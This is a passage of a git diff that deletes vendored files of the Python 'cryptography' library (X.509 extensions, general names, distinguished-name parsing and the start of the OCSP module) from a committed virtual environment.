def __eq__(self, other: object) -> bool: - if not isinstance(other, OCSPAcceptableResponses): - return NotImplemented - - return self._responses == other._responses - - def __hash__(self) -> int: - return hash(tuple(self._responses)) - - def __repr__(self) -> str: - return f"" - - def __iter__(self) -> Iterator[ObjectIdentifier]: - return iter(self._responses) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class IssuingDistributionPoint(ExtensionType): - oid = ExtensionOID.ISSUING_DISTRIBUTION_POINT - - def __init__( - self, - full_name: Iterable[GeneralName] | None, - relative_name: RelativeDistinguishedName | None, - only_contains_user_certs: bool, - only_contains_ca_certs: bool, - only_some_reasons: frozenset[ReasonFlags] | None, - indirect_crl: bool, - only_contains_attribute_certs: bool, - ) -> None: - if full_name is not None: - full_name = list(full_name) - - if only_some_reasons and ( - not isinstance(only_some_reasons, frozenset) - or not all(isinstance(x, ReasonFlags) for x in only_some_reasons) - ): - raise TypeError( - "only_some_reasons must be None or frozenset of ReasonFlags" - ) - - if only_some_reasons and ( - ReasonFlags.unspecified in only_some_reasons - or ReasonFlags.remove_from_crl in only_some_reasons - ): - raise ValueError( - "unspecified and remove_from_crl are not valid reasons in an " - "IssuingDistributionPoint" - ) - - if not ( - isinstance(only_contains_user_certs, bool) - and isinstance(only_contains_ca_certs, bool) - and isinstance(indirect_crl, bool) - and isinstance(only_contains_attribute_certs, bool) - ): - raise TypeError( - "only_contains_user_certs, only_contains_ca_certs, " - "indirect_crl and only_contains_attribute_certs " - "must all be boolean." - ) - - # Per RFC5280 Section 5.2.5, the Issuing Distribution Point extension - # in a CRL can have only one of onlyContainsUserCerts, - # onlyContainsCACerts, onlyContainsAttributeCerts set to TRUE. - crl_constraints = [ - only_contains_user_certs, - only_contains_ca_certs, - only_contains_attribute_certs, - ] - - if len([x for x in crl_constraints if x]) > 1: - raise ValueError( - "Only one of the following can be set to True: " - "only_contains_user_certs, only_contains_ca_certs, " - "only_contains_attribute_certs" - ) - - if not any( - [ - only_contains_user_certs, - only_contains_ca_certs, - indirect_crl, - only_contains_attribute_certs, - full_name, - relative_name, - only_some_reasons, - ] - ): - raise ValueError( - "Cannot create empty extension: " - "if only_contains_user_certs, only_contains_ca_certs, " - "indirect_crl, and only_contains_attribute_certs are all False" - ", then either full_name, relative_name, or only_some_reasons " - "must have a value." - ) - - self._only_contains_user_certs = only_contains_user_certs - self._only_contains_ca_certs = only_contains_ca_certs - self._indirect_crl = indirect_crl - self._only_contains_attribute_certs = only_contains_attribute_certs - self._only_some_reasons = only_some_reasons - self._full_name = full_name - self._relative_name = relative_name - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, IssuingDistributionPoint): - return NotImplemented - - return ( - self.full_name == other.full_name - and self.relative_name == other.relative_name - and self.only_contains_user_certs == other.only_contains_user_certs - and self.only_contains_ca_certs == other.only_contains_ca_certs - and self.only_some_reasons == other.only_some_reasons - and self.indirect_crl == other.indirect_crl - and self.only_contains_attribute_certs - == other.only_contains_attribute_certs - ) - - def __hash__(self) -> int: - if self.full_name is not None: - full_name: tuple[GeneralName, ...] | None = tuple(self.full_name) - else: - full_name = None - - return hash( - ( - full_name, - self.relative_name, - self.only_contains_user_certs, - self.only_contains_ca_certs, - self.only_some_reasons, - self.indirect_crl, - self.only_contains_attribute_certs, - ) - ) - - @property - def full_name(self) -> list[GeneralName] | None: - return self._full_name - - @property - def relative_name(self) -> RelativeDistinguishedName | None: - return self._relative_name - - @property - def only_contains_user_certs(self) -> bool: - return self._only_contains_user_certs - - @property - def only_contains_ca_certs(self) -> bool: - return self._only_contains_ca_certs - - @property - def only_some_reasons( - self, - ) -> frozenset[ReasonFlags] | None: - return self._only_some_reasons - - @property - def indirect_crl(self) -> bool: - return self._indirect_crl - - @property - def only_contains_attribute_certs(self) -> bool: - return self._only_contains_attribute_certs - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class MSCertificateTemplate(ExtensionType): - oid = ExtensionOID.MS_CERTIFICATE_TEMPLATE - - def __init__( - self, - template_id: ObjectIdentifier, - major_version: int | None, - minor_version: int | None, - ) -> None: - if not isinstance(template_id, ObjectIdentifier): - raise TypeError("oid must be an ObjectIdentifier") - self._template_id = template_id - if ( - major_version is not None and not isinstance(major_version, int) - ) or ( - minor_version is not None and not isinstance(minor_version, int) - ): - raise TypeError( - "major_version and minor_version must be integers or None" - ) - self._major_version = major_version - self._minor_version = minor_version - - @property - def template_id(self) -> ObjectIdentifier: - return self._template_id - - @property - def major_version(self) -> int | None: - return self._major_version - - @property - def minor_version(self) -> int | None: - return self._minor_version - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, MSCertificateTemplate): - return NotImplemented - - return ( - self.template_id == other.template_id - and self.major_version == other.major_version - and self.minor_version == other.minor_version - ) - - def __hash__(self) -> int: - return hash((self.template_id, self.major_version, self.minor_version)) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class NamingAuthority: - def __init__( - self, - id: ObjectIdentifier | None, - url: str | None, - text: str | None, - ) -> None: - if id is not None and not isinstance(id, ObjectIdentifier): - raise TypeError("id must be an ObjectIdentifier") - - if url is not None and not isinstance(url, str): - raise TypeError("url must be a str") - - if text is not None and not isinstance(text, str): - raise TypeError("text must be a str") - - self._id = id - self._url = url - self._text = text - - @property - def id(self) -> ObjectIdentifier | None: - return self._id - - @property - def url(self) -> str | None: - return self._url - - @property - def text(self) -> str | None: - return self._text - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, NamingAuthority): - return NotImplemented - - return ( - self.id == other.id - and self.url == other.url - and self.text == other.text - ) - - def __hash__(self) -> int: - return hash( - ( - self.id, - self.url, - self.text, - ) - ) - - -class ProfessionInfo: - def __init__( - self, - naming_authority: NamingAuthority | None, - profession_items: Iterable[str], - profession_oids: Iterable[ObjectIdentifier] | None, - registration_number: str | None, - add_profession_info: bytes | None, - ) -> None: - if naming_authority is not None and not isinstance( - naming_authority, NamingAuthority - ): - raise TypeError("naming_authority must be a NamingAuthority") - - profession_items = list(profession_items) - if not all(isinstance(item, str) for item in profession_items): - raise TypeError( - "Every item in the profession_items list must be a str" - ) - - if profession_oids is not None: - profession_oids = list(profession_oids) - if not all( - isinstance(oid, ObjectIdentifier) for oid in profession_oids - ): - raise TypeError( - "Every item in the profession_oids list must be an " - "ObjectIdentifier" - ) - - if registration_number is not None and not isinstance( - registration_number, str - ): - raise TypeError("registration_number must be a str") - - if add_profession_info is not None and not isinstance( - add_profession_info, bytes - ): - raise TypeError("add_profession_info must be bytes") - - self._naming_authority = naming_authority - self._profession_items = profession_items - self._profession_oids = profession_oids - self._registration_number = registration_number - self._add_profession_info = add_profession_info - - @property - def naming_authority(self) -> NamingAuthority | None: - return self._naming_authority - - @property - def profession_items(self) -> list[str]: - return self._profession_items - - @property - def profession_oids(self) -> list[ObjectIdentifier] | None: - return self._profession_oids - - @property - def registration_number(self) -> str | None: - return self._registration_number - - @property - def add_profession_info(self) -> bytes | None: - return self._add_profession_info - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, ProfessionInfo): - return NotImplemented - - return ( - self.naming_authority == other.naming_authority - and self.profession_items == other.profession_items - and self.profession_oids == other.profession_oids - and self.registration_number == other.registration_number - and self.add_profession_info == other.add_profession_info - ) - - def __hash__(self) -> int: - if self.profession_oids is not None: - profession_oids = tuple(self.profession_oids) - else: - profession_oids = None - return hash( - ( - self.naming_authority, - tuple(self.profession_items), - profession_oids, - self.registration_number, - self.add_profession_info, - ) - ) - - -class Admission: - def __init__( - self, - admission_authority: GeneralName | None, - naming_authority: NamingAuthority | None, - profession_infos: Iterable[ProfessionInfo], - ) -> None: - if admission_authority is not None and not isinstance( - admission_authority, GeneralName - ): - raise TypeError("admission_authority must be a GeneralName") - - if naming_authority is not None and not isinstance( - naming_authority, NamingAuthority - ): - raise TypeError("naming_authority must be a NamingAuthority") - - profession_infos = list(profession_infos) - if not all( - isinstance(info, ProfessionInfo) for info in profession_infos - ): - raise TypeError( - "Every item in the profession_infos list must be a " - "ProfessionInfo" - ) - - self._admission_authority = admission_authority - self._naming_authority = naming_authority - self._profession_infos = profession_infos - - @property - def admission_authority(self) -> GeneralName | None: - return self._admission_authority - - @property - def naming_authority(self) -> NamingAuthority | None: - return self._naming_authority - - @property - def profession_infos(self) -> list[ProfessionInfo]: - return self._profession_infos - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Admission): - return NotImplemented - - return ( - self.admission_authority == other.admission_authority - and self.naming_authority == other.naming_authority - and self.profession_infos == other.profession_infos - ) - - def __hash__(self) -> int: - return hash( - ( - self.admission_authority, - self.naming_authority, - tuple(self.profession_infos), - ) - ) - - -class Admissions(ExtensionType): - oid = ExtensionOID.ADMISSIONS - - def __init__( - self, - authority: GeneralName | None, - admissions: Iterable[Admission], - ) -> None: - if authority is not None and not isinstance(authority, GeneralName): - raise TypeError("authority must be a GeneralName") - - admissions = list(admissions) - if not all( - isinstance(admission, Admission) for admission in admissions - ): - raise TypeError( - "Every item in the contents_of_admissions list must be an " - "Admission" - ) - - self._authority = authority - self._admissions = admissions - - __len__, __iter__, __getitem__ = _make_sequence_methods("_admissions") - - @property - def authority(self) -> GeneralName | None: - return self._authority - - def __repr__(self) -> str: - return ( - f"" - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Admissions): - return NotImplemented - - return ( - self.authority == other.authority - and self._admissions == other._admissions - ) - - def __hash__(self) -> int: - return hash((self.authority, tuple(self._admissions))) - - def public_bytes(self) -> bytes: - return rust_x509.encode_extension_value(self) - - -class UnrecognizedExtension(ExtensionType): - def __init__(self, oid: ObjectIdentifier, value: bytes) -> None: - if not isinstance(oid, ObjectIdentifier): - raise TypeError("oid must be an ObjectIdentifier") - self._oid = oid - self._value = value - - @property - def oid(self) -> ObjectIdentifier: # type: ignore[override] - return self._oid - - @property - def value(self) -> bytes: - return self._value - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, UnrecognizedExtension): - return NotImplemented - - return self.oid == other.oid and self.value == other.value - - def __hash__(self) -> int: - return hash((self.oid, self.value)) - - def public_bytes(self) -> bytes: - return self.value diff --git a/venv/Lib/site-packages/cryptography/x509/general_name.py b/venv/Lib/site-packages/cryptography/x509/general_name.py deleted file mode 100644 index 672f28759cb0ab6d60cb4e38a574095ae3e0159d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/general_name.py +++ /dev/null @@ -1,281 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import ipaddress -import typing -from email.utils import parseaddr - -from cryptography.x509.name import Name -from cryptography.x509.oid import ObjectIdentifier - -_IPAddressTypes = typing.Union[ - ipaddress.IPv4Address, - ipaddress.IPv6Address, - ipaddress.IPv4Network, - ipaddress.IPv6Network, -] - - -class UnsupportedGeneralNameType(Exception): - pass - - -class GeneralName(metaclass=abc.ABCMeta): - @property - @abc.abstractmethod - def value(self) -> typing.Any: - """ - Return the value of the object - """ - - -class RFC822Name(GeneralName): - def __init__(self, value: str) -> None: - if isinstance(value, str): - try: - value.encode("ascii") - except UnicodeEncodeError: - raise ValueError( - "RFC822Name values should be passed as an A-label string. " - "This means unicode characters should be encoded via " - "a library like idna." - ) - else: - raise TypeError("value must be string") - - name, address = parseaddr(value) - if name or not address: - # parseaddr has found a name (e.g. Name ) or the entire - # value is an empty string. - raise ValueError("Invalid rfc822name value") - - self._value = value - - @property - def value(self) -> str: - return self._value - - @classmethod - def _init_without_validation(cls, value: str) -> RFC822Name: - instance = cls.__new__(cls) - instance._value = value - return instance - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, RFC822Name): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class DNSName(GeneralName): - def __init__(self, value: str) -> None: - if isinstance(value, str): - try: - value.encode("ascii") - except UnicodeEncodeError: - raise ValueError( - "DNSName values should be passed as an A-label string. " - "This means unicode characters should be encoded via " - "a library like idna." - ) - else: - raise TypeError("value must be string") - - self._value = value - - @property - def value(self) -> str: - return self._value - - @classmethod - def _init_without_validation(cls, value: str) -> DNSName: - instance = cls.__new__(cls) - instance._value = value - return instance - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, DNSName): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class UniformResourceIdentifier(GeneralName): - def __init__(self, value: str) -> None: - if isinstance(value, str): - try: - value.encode("ascii") - except UnicodeEncodeError: - raise ValueError( - "URI values should be passed as an A-label string. " - "This means unicode characters should be encoded via " - "a library like idna." - ) - else: - raise TypeError("value must be string") - - self._value = value - - @property - def value(self) -> str: - return self._value - - @classmethod - def _init_without_validation(cls, value: str) -> UniformResourceIdentifier: - instance = cls.__new__(cls) - instance._value = value - return instance - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, UniformResourceIdentifier): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class DirectoryName(GeneralName): - def __init__(self, value: Name) -> None: - if not isinstance(value, Name): - raise TypeError("value must be a Name") - - self._value = value - - @property - def value(self) -> Name: - return self._value - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, DirectoryName): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class RegisteredID(GeneralName): - def __init__(self, value: ObjectIdentifier) -> None: - if not isinstance(value, ObjectIdentifier): - raise TypeError("value must be an ObjectIdentifier") - - self._value = value - - @property - def value(self) -> ObjectIdentifier: - return self._value - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, RegisteredID): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class IPAddress(GeneralName): - def __init__(self, value: _IPAddressTypes) -> None: - if not isinstance( - value, - ( - ipaddress.IPv4Address, - ipaddress.IPv6Address, - ipaddress.IPv4Network, - ipaddress.IPv6Network, - ), - ): - raise TypeError( - "value must be an instance of ipaddress.IPv4Address, " - "ipaddress.IPv6Address, ipaddress.IPv4Network, or " - "ipaddress.IPv6Network" - ) - - self._value = value - - @property - def value(self) -> _IPAddressTypes: - return self._value - - def _packed(self) -> bytes: - if isinstance( - self.value, (ipaddress.IPv4Address, ipaddress.IPv6Address) - ): - return self.value.packed - else: - return ( - self.value.network_address.packed + self.value.netmask.packed - ) - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, IPAddress): - return NotImplemented - - return self.value == other.value - - def __hash__(self) -> int: - return hash(self.value) - - -class OtherName(GeneralName): - def __init__(self, type_id: ObjectIdentifier, value: bytes) -> None: - if not isinstance(type_id, ObjectIdentifier): - raise TypeError("type_id must be an ObjectIdentifier") - if not isinstance(value, bytes): - raise TypeError("value must be a binary string") - - self._type_id = type_id - self._value = value - - @property - def type_id(self) -> ObjectIdentifier: - return self._type_id - - @property - def value(self) -> bytes: - return self._value - - def __repr__(self) -> str: - return f"" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, OtherName): - return NotImplemented - - return self.type_id == other.type_id and self.value == other.value - - def __hash__(self) -> int: - return hash((self.type_id, self.value)) diff --git a/venv/Lib/site-packages/cryptography/x509/name.py b/venv/Lib/site-packages/cryptography/x509/name.py deleted file mode 100644 index 2e54edc457987ef8d7d8eb624b86595d2bf98fe1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/name.py +++ /dev/null @@ -1,489 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import binascii -import re -import sys -import typing -import warnings -from collections.abc import Iterable, Iterator - -from cryptography import utils -from cryptography.hazmat.bindings._rust import x509 as rust_x509 -from cryptography.x509.oid import NameOID, ObjectIdentifier - - -class _ASN1Type(utils.Enum): - BitString = 3 - OctetString = 4 - UTF8String = 12 - NumericString = 18 - PrintableString = 19 - T61String = 20 - IA5String = 22 - UTCTime = 23 - GeneralizedTime = 24 - VisibleString = 26 - UniversalString = 28 - BMPString = 30 - - -_ASN1_TYPE_TO_ENUM = {i.value: i for i in _ASN1Type} -_NAMEOID_DEFAULT_TYPE: dict[ObjectIdentifier, _ASN1Type] = { - NameOID.COUNTRY_NAME: _ASN1Type.PrintableString, - NameOID.JURISDICTION_COUNTRY_NAME: _ASN1Type.PrintableString, - NameOID.SERIAL_NUMBER: _ASN1Type.PrintableString, - NameOID.DN_QUALIFIER: _ASN1Type.PrintableString, - NameOID.EMAIL_ADDRESS: _ASN1Type.IA5String, - NameOID.DOMAIN_COMPONENT: _ASN1Type.IA5String, -} - -# Type alias -_OidNameMap = typing.Mapping[ObjectIdentifier, str] -_NameOidMap = typing.Mapping[str, ObjectIdentifier] - -#: Short attribute names from RFC 4514: -#: https://tools.ietf.org/html/rfc4514#page-7 -_NAMEOID_TO_NAME: _OidNameMap = { - NameOID.COMMON_NAME: "CN", - NameOID.LOCALITY_NAME: "L", - NameOID.STATE_OR_PROVINCE_NAME: "ST", - NameOID.ORGANIZATION_NAME: "O", - NameOID.ORGANIZATIONAL_UNIT_NAME: "OU", - NameOID.COUNTRY_NAME: "C", - NameOID.STREET_ADDRESS: "STREET", - NameOID.DOMAIN_COMPONENT: "DC", - NameOID.USER_ID: "UID", -} -_NAME_TO_NAMEOID = {v: k for k, v in _NAMEOID_TO_NAME.items()} - -_NAMEOID_LENGTH_LIMIT = { - NameOID.COUNTRY_NAME: (2, 2), - NameOID.JURISDICTION_COUNTRY_NAME: (2, 2), - NameOID.COMMON_NAME: (1, 64), -} - - -def _escape_dn_value(val: str | bytes) -> str: - """Escape special characters in RFC4514 Distinguished Name value.""" - - if not val: - return "" - - # RFC 4514 Section 2.4 defines the value as being the # (U+0023) character - # followed by the hexadecimal encoding of the octets. - if isinstance(val, bytes): - return "#" + binascii.hexlify(val).decode("utf8") - - # See https://tools.ietf.org/html/rfc4514#section-2.4 - val = val.replace("\\", "\\\\") - val = val.replace('"', '\\"') - val = val.replace("+", "\\+") - val = val.replace(",", "\\,") - val = val.replace(";", "\\;") - val = val.replace("<", "\\<") - val = val.replace(">", "\\>") - val = val.replace("\0", "\\00") - - if val[0] == "#" or (val[0] == " " and len(val) > 1): - val = "\\" + val - if val[-1] == " ": - val = val[:-1] + "\\ " - - return val - - -def _unescape_dn_value(val: str) -> str: - if not val: - return "" - - # See https://tools.ietf.org/html/rfc4514#section-3 - - # special = escaped / SPACE / SHARP / EQUALS - # escaped = DQUOTE / PLUS / COMMA / SEMI / LANGLE / RANGLE - def sub(m): - val = m.group(0) - # Special character escape - if len(val) == 2: - return val[1:] - - # Unicode string of hex - return binascii.unhexlify(val.replace("\\", "")).decode() - - return _RFC4514NameParser._PAIR_MULTI_RE.sub(sub, val) - - -NameAttributeValueType = typing.TypeVar( - "NameAttributeValueType", - typing.Union[str, bytes], - str, - bytes, - covariant=True, -) - - -class NameAttribute(typing.Generic[NameAttributeValueType]): - def __init__( - self, - oid: ObjectIdentifier, - value: NameAttributeValueType, - _type: _ASN1Type | None = None, - *, - _validate: bool = True, - ) -> None: - if not isinstance(oid, ObjectIdentifier): - raise TypeError( - "oid argument must be an ObjectIdentifier instance." - ) - if _type == _ASN1Type.BitString: - if oid != NameOID.X500_UNIQUE_IDENTIFIER: - raise TypeError( - "oid must be X500_UNIQUE_IDENTIFIER for BitString type." - ) - if not isinstance(value, bytes): - raise TypeError("value must be bytes for BitString") - elif not isinstance(value, str): - raise TypeError("value argument must be a str") - - length_limits = _NAMEOID_LENGTH_LIMIT.get(oid) - if length_limits is not None: - min_length, max_length = length_limits - assert isinstance(value, str) - c_len = len(value.encode("utf8")) - if c_len < min_length or c_len > max_length: - msg = ( - f"Attribute's length must be >= {min_length} and " - f"<= {max_length}, but it was {c_len}" - ) - if _validate is True: - raise ValueError(msg) - else: - warnings.warn(msg, stacklevel=2) - - # The appropriate ASN1 string type varies by OID and is defined across - # multiple RFCs including 2459, 3280, and 5280. In general UTF8String - # is preferred (2459), but 3280 and 5280 specify several OIDs with - # alternate types. This means when we see the sentinel value we need - # to look up whether the OID has a non-UTF8 type. If it does, set it - # to that. Otherwise, UTF8! - if _type is None: - _type = _NAMEOID_DEFAULT_TYPE.get(oid, _ASN1Type.UTF8String) - - if not isinstance(_type, _ASN1Type): - raise TypeError("_type must be from the _ASN1Type enum") - - self._oid = oid - self._value: NameAttributeValueType = value - self._type: _ASN1Type = _type - - @property - def oid(self) -> ObjectIdentifier: - return self._oid - - @property - def value(self) -> NameAttributeValueType: - return self._value - - @property - def rfc4514_attribute_name(self) -> str: - """ - The short attribute name (for example "CN") if available, - otherwise the OID dotted string. - """ - return _NAMEOID_TO_NAME.get(self.oid, self.oid.dotted_string) - - def rfc4514_string( - self, attr_name_overrides: _OidNameMap | None = None - ) -> str: - """ - Format as RFC4514 Distinguished Name string. - - Use short attribute name if available, otherwise fall back to OID - dotted string. - """ - attr_name = ( - attr_name_overrides.get(self.oid) if attr_name_overrides else None - ) - if attr_name is None: - attr_name = self.rfc4514_attribute_name - - return f"{attr_name}={_escape_dn_value(self.value)}" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, NameAttribute): - return NotImplemented - - return self.oid == other.oid and self.value == other.value - - def __hash__(self) -> int: - return hash((self.oid, self.value)) - - def __repr__(self) -> str: - return f"" - - -class RelativeDistinguishedName: - def __init__(self, attributes: Iterable[NameAttribute[str | bytes]]): - attributes = list(attributes) - if not attributes: - raise ValueError("a relative distinguished name cannot be empty") - if not all(isinstance(x, NameAttribute) for x in attributes): - raise TypeError("attributes must be an iterable of NameAttribute") - - # Keep list and frozenset to preserve attribute order where it matters - self._attributes = attributes - self._attribute_set = frozenset(attributes) - - if len(self._attribute_set) != len(attributes): - raise ValueError("duplicate attributes are not allowed") - - def get_attributes_for_oid( - self, - oid: ObjectIdentifier, - ) -> list[NameAttribute[str | bytes]]: - return [i for i in self if i.oid == oid] - - def rfc4514_string( - self, attr_name_overrides: _OidNameMap | None = None - ) -> str: - """ - Format as RFC4514 Distinguished Name string. - - Within each RDN, attributes are joined by '+', although that is rarely - used in certificates. - """ - return "+".join( - attr.rfc4514_string(attr_name_overrides) - for attr in self._attributes - ) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, RelativeDistinguishedName): - return NotImplemented - - return self._attribute_set == other._attribute_set - - def __hash__(self) -> int: - return hash(self._attribute_set) - - def __iter__(self) -> Iterator[NameAttribute[str | bytes]]: - return iter(self._attributes) - - def __len__(self) -> int: - return len(self._attributes) - - def __repr__(self) -> str: - return f"" - - -class Name: - @typing.overload - def __init__( - self, attributes: Iterable[NameAttribute[str | bytes]] - ) -> None: ... - - @typing.overload - def __init__( - self, attributes: Iterable[RelativeDistinguishedName] - ) -> None: ... - - def __init__( - self, - attributes: Iterable[ - NameAttribute[str | bytes] | RelativeDistinguishedName - ], - ) -> None: - attributes = list(attributes) - if all(isinstance(x, NameAttribute) for x in attributes): - self._attributes = [ - RelativeDistinguishedName([typing.cast(NameAttribute, x)]) - for x in attributes - ] - elif all(isinstance(x, RelativeDistinguishedName) for x in attributes): - self._attributes = typing.cast( - list[RelativeDistinguishedName], attributes - ) - else: - raise TypeError( - "attributes must be a list of NameAttribute" - " or a list RelativeDistinguishedName" - ) - - @classmethod - def from_rfc4514_string( - cls, - data: str, - attr_name_overrides: _NameOidMap | None = None, - ) -> Name: - return _RFC4514NameParser(data, attr_name_overrides or {}).parse() - - @classmethod - def from_bytes(cls, data: bytes) -> Name: - """ - Parse a DER encoded X.509 name (the inverse of ``public_bytes``). - """ - return rust_x509.parse_name_bytes(data) - - def rfc4514_string( - self, attr_name_overrides: _OidNameMap | None = None - ) -> str: - """ - Format as RFC4514 Distinguished Name string. - For example 'CN=foobar.com,O=Foo Corp,C=US' - - An X.509 name is a two-level structure: a list of sets of attributes. - Each list element is separated by ',' and within each list element, set - elements are separated by '+'. The latter is almost never used in - real world certificates. According to RFC4514 section 2.1 the - RDNSequence must be reversed when converting to string representation. - """ - return ",".join( - attr.rfc4514_string(attr_name_overrides) - for attr in reversed(self._attributes) - ) - - def get_attributes_for_oid( - self, - oid: ObjectIdentifier, - ) -> list[NameAttribute[str | bytes]]: - return [i for i in self if i.oid == oid] - - @property - def rdns(self) -> list[RelativeDistinguishedName]: - return self._attributes - - def public_bytes(self, backend: typing.Any = None) -> bytes: - return rust_x509.encode_name_bytes(self) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Name): - return NotImplemented - - return self._attributes == other._attributes - - def __hash__(self) -> int: - # TODO: this is relatively expensive, if this looks like a bottleneck - # for you, consider optimizing! - return hash(tuple(self._attributes)) - - def __iter__(self) -> Iterator[NameAttribute[str | bytes]]: - for rdn in self._attributes: - yield from rdn - - def __len__(self) -> int: - return sum(len(rdn) for rdn in self._attributes) - - def __repr__(self) -> str: - return f"" - - -class _RFC4514NameParser: - _OID_RE = re.compile(r"(0|([1-9]\d*))(\.(0|([1-9]\d*)))+") - _DESCR_RE = re.compile(r"[a-zA-Z][a-zA-Z\d-]*") - - _ESCAPE_SPECIAL = r"[\\ #=\"\+,;<>]" - _ESCAPE_HEX = r"[\da-zA-Z]{2}" - _PAIR = rf"\\({_ESCAPE_SPECIAL}|{_ESCAPE_HEX})" - _PAIR_MULTI_RE = re.compile(rf"(\\{_ESCAPE_SPECIAL})|((\\{_ESCAPE_HEX})+)") - _LUTF1 = r"[\x01-\x1f\x21\x24-\x2A\x2D-\x3A\x3D\x3F-\x5B\x5D-\x7F]" - _SUTF1 = r"[\x01-\x21\x23-\x2A\x2D-\x3A\x3D\x3F-\x5B\x5D-\x7F]" - _TUTF1 = r"[\x01-\x1F\x21\x23-\x2A\x2D-\x3A\x3D\x3F-\x5B\x5D-\x7F]" - _UTFMB = rf"[\x80-{chr(sys.maxunicode)}]" - _LEADCHAR = rf"{_LUTF1}|{_UTFMB}" - _STRINGCHAR = rf"{_SUTF1}|{_UTFMB}" - _TRAILCHAR = rf"{_TUTF1}|{_UTFMB}" - _STRING_RE = re.compile( - rf""" - ( - ({_LEADCHAR}|{_PAIR}) - ( - ({_STRINGCHAR}|{_PAIR})* - ({_TRAILCHAR}|{_PAIR}) - )? - )? - """, - re.VERBOSE, - ) - _HEXSTRING_RE = re.compile(r"#([\da-zA-Z]{2})+") - - def __init__(self, data: str, attr_name_overrides: _NameOidMap) -> None: - self._data = data - self._idx = 0 - - self._attr_name_overrides = attr_name_overrides - - def _has_data(self) -> bool: - return self._idx < len(self._data) - - def _peek(self) -> str | None: - if self._has_data(): - return self._data[self._idx] - return None - - def _read_char(self, ch: str) -> None: - if self._peek() != ch: - raise ValueError - self._idx += 1 - - def _read_re(self, pat) -> str: - match = pat.match(self._data, pos=self._idx) - if match is None: - raise ValueError - val = match.group() - self._idx += len(val) - return val - - def parse(self) -> Name: - """ - Parses the `data` string and converts it to a Name. - - According to RFC4514 section 2.1 the RDNSequence must be - reversed when converting to string representation. So, when - we parse it, we need to reverse again to get the RDNs on the - correct order. - """ - - if not self._has_data(): - return Name([]) - - rdns = [self._parse_rdn()] - - while self._has_data(): - self._read_char(",") - rdns.append(self._parse_rdn()) - - return Name(reversed(rdns)) - - def _parse_rdn(self) -> RelativeDistinguishedName: - nas = [self._parse_na()] - while self._peek() == "+": - self._read_char("+") - nas.append(self._parse_na()) - - return RelativeDistinguishedName(nas) - - def _parse_na(self) -> NameAttribute[str]: - try: - oid_value = self._read_re(self._OID_RE) - except ValueError: - name = self._read_re(self._DESCR_RE) - oid = self._attr_name_overrides.get( - name, _NAME_TO_NAMEOID.get(name) - ) - if oid is None: - raise ValueError - else: - oid = ObjectIdentifier(oid_value) - - self._read_char("=") - if self._peek() == "#": - value = self._read_re(self._HEXSTRING_RE) - value = binascii.unhexlify(value[1:]).decode() - else: - raw_value = self._read_re(self._STRING_RE) - value = _unescape_dn_value(raw_value) - - return NameAttribute(oid, value) diff --git a/venv/Lib/site-packages/cryptography/x509/ocsp.py b/venv/Lib/site-packages/cryptography/x509/ocsp.py deleted file mode 100644 index f61ed80b82bdea361b70d676a632f173368adc26..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/x509/ocsp.py +++ /dev/null @@ -1,379 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import datetime -from collections.abc import Iterable - -from cryptography import utils, x509 -from cryptography.hazmat.bindings._rust import ocsp -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric.types import ( - CertificateIssuerPrivateKeyTypes, -) -from cryptography.x509.base import _reject_duplicate_extension - - -class OCSPResponderEncoding(utils.Enum): - HASH = "By Hash" - NAME = "By Name" - - -class OCSPResponseStatus(utils.Enum): - SUCCESSFUL = 0 - MALFORMED_REQUEST = 1 - INTERNAL_ERROR = 2 - TRY_LATER = 3 - SIG_REQUIRED = 5 - UNAUTHORIZED = 6 - - -_ALLOWED_HASHES = ( - hashes.SHA1, - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, -) - - -def _verify_algorithm(algorithm: hashes.HashAlgorithm) -> None: - if not isinstance(algorithm, _ALLOWED_HASHES): - raise ValueError( - "Algorithm must be SHA1, SHA224, 